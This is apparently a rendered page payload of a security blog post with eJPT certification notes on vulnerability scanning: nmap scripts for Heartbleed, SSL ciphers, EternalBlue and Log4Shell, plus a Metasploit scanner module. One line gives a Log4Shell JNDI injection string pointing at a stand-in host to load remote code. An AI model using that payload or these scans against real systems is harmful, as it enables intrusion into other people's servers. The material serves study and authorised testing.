[{"data":1,"prerenderedAt":293},["ShallowReactive",2],{"announcement":3,"i-tabler:sun":11,"i-tabler:moon":16,"i-tabler:menu-2":18,"i-tabler:x":20,"i-simple-icons:youtube":22,"i-simple-icons:github":24,"i-simple-icons:x":26,"i-simple-icons:linkedin":28,"i-tabler:arrow-up-right":31,"post-vulnerability-assessment-ejpt":33,"post-nav-vulnerability-assessment-ejpt":280,"video-vulnerability-assessment-ejpt":275,"i-tabler:copy":291},{"startsAt":4,"endsAt":5,"scramble":6,"cta":7,"message":10},"2026-10-13","2026-11-30","Cache Poisoning:",{"href":8,"label":9},"\u002Fcache-poisoning-the-cache-you-cant-purge","Read it","The cache you can't purge.",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":15},0,24,false,"\u003Cpath fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" d=\"M8 12a4 4 0 1 0 8 0a4 4 0 1 0-8 0m-5 0h1m8-9v1m8 8h1m-9 8v1M5.6 5.6l.7.7m12.1-.7l-.7.7m0 11.4l.7.7m-12.1-.7l-.7.7\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":17},"\u003Cpath fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" d=\"M12 3h.393a7.5 7.5 0 0 0 7.92 12.446A9 9 0 1 1 12 2.992z\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":19},"\u003Cpath fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" d=\"M4 6h16M4 12h16M4 18h16\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":21},"\u003Cpath fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" d=\"M18 6L6 18M6 6l12 12\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":23},"\u003Cpath fill=\"currentColor\" d=\"M23.498 6.186a3.02 3.02 0 0 0-2.122-2.136C19.505 3.545 12 3.545 12 3.545s-7.505 0-9.377.505A3.02 3.02 0 0 0 .502 6.186C0 8.07 0 12 0 12s0 3.93.502 5.814a3.02 3.02 0 0 0 2.122 2.136c1.871.505 9.376.505 9.376.505s7.505 0 9.377-.505a3.02 3.02 0 0 0 2.122-2.136C24 15.93 24 12 24 12s0-3.93-.502-5.814M9.545 15.568V8.432L15.818 12z\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":25},"\u003Cpath fill=\"currentColor\" d=\"M12 .297c-6.63 0-12 5.373-12 12c0 5.303 3.438 9.8 8.205 11.385c.6.113.82-.258.82-.577c0-.285-.01-1.04-.015-2.04c-3.338.724-4.042-1.61-4.042-1.61C4.422 18.07 3.633 17.7 3.633 17.7c-1.087-.744.084-.729.084-.729c1.205.084 1.838 1.236 1.838 1.236c1.07 1.835 2.809 1.305 3.495.998c.108-.776.417-1.305.76-1.605c-2.665-.3-5.466-1.332-5.466-5.93c0-1.31.465-2.38 1.235-3.22c-.135-.303-.54-1.523.105-3.176c0 0 1.005-.322 3.3 1.23c.96-.267 1.98-.399 3-.405c1.02.006 2.04.138 3 .405c2.28-1.552 3.285-1.23 3.285-1.23c.645 1.653.24 2.873.12 3.176c.765.84 1.23 1.91 1.23 3.22c0 4.61-2.805 5.625-5.475 5.92c.42.36.81 1.096.81 2.22c0 1.606-.015 2.896-.015 3.286c0 .315.21.69.825.57C20.565 22.092 24 17.592 24 12.297c0-6.627-5.373-12-12-12\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":27},"\u003Cpath fill=\"currentColor\" d=\"M14.234 10.162L22.977 0h-2.072l-7.591 8.824L7.251 0H.258l9.168 13.343L.258 24H2.33l8.016-9.318L16.749 24h6.993zm-2.837 3.299l-.929-1.329L3.076 1.56h3.182l5.965 8.532l.929 1.329l7.754 11.09h-3.182z\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":29,"hidden":30},"\u003Cpath fill=\"currentColor\" d=\"M20.447 20.452h-3.554v-5.569c0-1.328-.027-3.037-1.852-3.037c-1.853 0-2.136 1.445-2.136 2.939v5.667H9.351V9h3.414v1.561h.046c.477-.9 1.637-1.85 3.37-1.85c3.601 0 4.267 2.37 4.267 5.455v6.286zM5.337 7.433a2.06 2.06 0 0 1-2.063-2.065a2.064 2.064 0 1 1 2.063 2.065m1.782 13.019H3.555V9h3.564zM22.225 0H1.771C.792 0 0 .774 0 1.729v20.542C0 23.227.792 24 1.771 24h20.451C23.2 24 24 23.227 24 22.271V1.729C24 .774 23.2 0 22.222 0z\"\u002F>",true,{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":32},"\u003Cpath fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" d=\"M17 7L7 17M8 7h9v9\"\u002F>",{"id":34,"title":35,"body":36,"categories":266,"coverImage":269,"date":270,"description":271,"draft":14,"extension":272,"meta":273,"navigation":30,"noindex":14,"path":274,"readingTime":275,"seo":276,"slug":277,"stem":277,"updatedAt":278,"youtubeId":275,"__hash__":279},"blog\u002Fvulnerability-assessment-ejpt.md","Vulnerability Assessment | eJPT",{"type":37,"value":38,"toc":247},"minimark",[39,42,46,54,57,62,102,109,129,136,139,144,165,169,175,182,185,189,216,219,224,227,243],[40,41],"post-media",{},[43,44,45],"p",{},"Conducting a thorough vulnerability assessment is a key component of the eLearnSecurity Junior Penetration Tester (eJPT) certification. This process involves identifying and evaluating potential vulnerabilities within a system. Here are commands to assess specific CVEs, showcasing the use of nmap scripts for targeted vulnerability discovery.",[47,48,50],"h2",{"id":49},"cve-2014-0160",[51,52,53],"strong",{},"CVE-2014-0160",[43,55,56],{},"Explore SSL vulnerabilities with nmap scripts:",[58,59,61],"h3",{"id":60},"ssl-enumeration-ciphers","SSL Enumeration Ciphers",[63,64,69],"pre",{"code":65,"language":66,"meta":67,"className":68,"style":67},"nmap 10.10.10.10 -sV -p 443 --script ssl-enum-ciphers\n","bash","","shiki shiki-themes vitesse-dark vitesse-light",[70,71,72],"code",{},[73,74,77,81,85,89,92,95,98],"span",{"class":75,"line":76},"line",1,[73,78,80],{"class":79},"swzfi","nmap",[73,82,84],{"class":83},"sUQhE"," 10.10.10.10",[73,86,88],{"class":87},"se4ZP"," -sV",[73,90,91],{"class":87}," -p",[73,93,94],{"class":83}," 443",[73,96,97],{"class":87}," --script",[73,99,101],{"class":100},"sRRDT"," ssl-enum-ciphers\n",[58,103,105,106,108],{"id":104},"heartbleed-cve-2014-0160","Heartbleed (",[51,107,53],{}," )",[63,110,112],{"code":111,"language":66,"meta":67,"className":68,"style":67},"nmap 10.10.10.10 -p 443 --script ssl-heartbleed\n",[70,113,114],{},[73,115,116,118,120,122,124,126],{"class":75,"line":76},[73,117,80],{"class":79},[73,119,84],{"class":83},[73,121,91],{"class":87},[73,123,94],{"class":83},[73,125,97],{"class":87},[73,127,128],{"class":100}," ssl-heartbleed\n",[47,130,132,135],{"id":131},"cve-2017-0143-eternalblue",[51,133,134],{},"CVE-2017-0143"," (EternalBlue)",[43,137,138],{},"Assess SMB vulnerabilities using nmap and Metasploit:",[140,141,143],"h4",{"id":142},"smb-vulnerability-check","SMB Vulnerability Check",[63,145,147],{"code":146,"language":66,"meta":67,"className":68,"style":67},"nmap 10.10.10.10 -p 445 --script smb-vuln-ms17-010\n",[70,148,149],{},[73,150,151,153,155,157,160,162],{"class":75,"line":76},[73,152,80],{"class":79},[73,154,84],{"class":83},[73,156,91],{"class":87},[73,158,159],{"class":83}," 445",[73,161,97],{"class":87},[73,163,164],{"class":100}," smb-vuln-ms17-010\n",[140,166,168],{"id":167},"metasploit-module","Metasploit Module",[63,170,173],{"code":171,"language":172,"meta":67},"msf5> auxiliary\u002Fscanner\u002Fsmb\u002Fsmb_ms_17_010\n","text",[70,174,171],{},[47,176,178,181],{"id":177},"cve-2021-44228-log4j",[51,179,180],{},"CVE-2021-44228"," (Log4J)",[43,183,184],{},"Discover potential Log4J vulnerabilities with nmap:",[58,186,188],{"id":187},"log4shell-discovery","Log4Shell Discovery",[63,190,192],{"code":191,"language":66,"meta":67,"className":68,"style":67},"nmap 10.10.10.10 -p 8080 --script log4shell.nse --script-args log4shell.callback-server=127.1.2.32:4435\n",[70,193,194],{},[73,195,196,198,200,202,205,207,210,213],{"class":75,"line":76},[73,197,80],{"class":79},[73,199,84],{"class":83},[73,201,91],{"class":87},[73,203,204],{"class":83}," 8080",[73,206,97],{"class":87},[73,208,209],{"class":100}," log4shell.nse",[73,211,212],{"class":87}," --script-args",[73,214,215],{"class":100}," log4shell.callback-server=127.1.2.32:4435\n",[43,217,218],{},"The input field requires the following format",[63,220,222],{"code":221,"language":172,"meta":67},"[field]> ${jndi:ldap\u003C!--delete comment-->::\u002F\u002Fdemo.domain.com:1389\u002FmyEVILcode}\n",[70,223,221],{},[43,225,226],{},"Explore these commands to perform a vulnerability assessment, an essential skill for eLearnSecurity Junior Penetration Tester (eJPT) certification.",[43,228,229,232],{},[51,230,231],{},"Check out:",[233,234,240],"a",{"href":235,"rel":236,"target":239},"https:\u002F\u002Fblog.amrelsagaei.com\u002Fservers-services-enumeration-ejpt\u002F?utm_source=amrelsagaei.com&utm_medium=referral",[237,238],"noopener","noreferrer","_blank",[51,241,242],{},"Servers & Services Enumeration | eJPT",[244,245,246],"style",{},"html pre.shiki code .swzfi, html code.shiki .swzfi{--shiki-default:#80A665;--shiki-light:#59873A}html pre.shiki code .sUQhE, html code.shiki .sUQhE{--shiki-default:#4C9A91;--shiki-light:#2F798A}html pre.shiki code .se4ZP, html code.shiki .se4ZP{--shiki-default:#C99076;--shiki-light:#A65E2B}html pre.shiki code .sRRDT, html code.shiki .sRRDT{--shiki-default:#C98A7D;--shiki-light:#B56959}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}",{"title":67,"searchDepth":248,"depth":248,"links":249},3,[250,256,262],{"id":49,"depth":251,"text":53,"children":252},2,[253,254],{"id":60,"depth":248,"text":61},{"id":104,"depth":248,"text":255},"Heartbleed (CVE-2014-0160 )",{"id":131,"depth":251,"text":257,"children":258},"CVE-2017-0143 (EternalBlue)",[259,261],{"id":142,"depth":260,"text":143},4,{"id":167,"depth":260,"text":168},{"id":177,"depth":251,"text":263,"children":264},"CVE-2021-44228 (Log4J)",[265],{"id":187,"depth":248,"text":188},[267,268],"Penetration Testing","eJPT","\u002Fimages\u002Fblog\u002Fvulnerability-assessment-ejpt\u002Fvulnerability-assessment.png","2024-02-11","eJPT notes on vulnerability assessment: nmap script scanning for Heartbleed (CVE-2014-0160), EternalBlue (CVE-2017-0143) and SSL cipher enumeration.","md",{},"\u002Fvulnerability-assessment-ejpt",null,{"title":35,"description":271},"vulnerability-assessment-ejpt","2025-02-05","xQ3YpNt5knyBZwWP6jlNxg78MzOuUkglGawR6DpR2Eo",{"older":281,"newer":286,"total":290},{"slug":282,"title":283,"date":284,"position":285},"host-your-own-secure-website-on-the-dark-web-with-a-custom-onion-domain","Host Your Own Secure Website on the Dark Web with a Custom Onion Domain","2024-01-21",61,{"slug":287,"title":288,"date":270,"position":289},"system-host-based-attacks-ejpt","System-Host Based Attacks | eJPT",59,68,{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":292},"\u003Cg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\">\u003Cpath d=\"M7 9.667A2.667 2.667 0 0 1 9.667 7h8.666A2.667 2.667 0 0 1 21 9.667v8.666A2.667 2.667 0 0 1 18.333 21H9.667A2.667 2.667 0 0 1 7 18.333z\"\u002F>\u003Cpath d=\"M4.012 16.737A2 2 0 0 1 3 15V5c0-1.1.9-2 2-2h10c.75 0 1.158.385 1.5 1\"\u002F>\u003C\u002Fg>",1791941260479]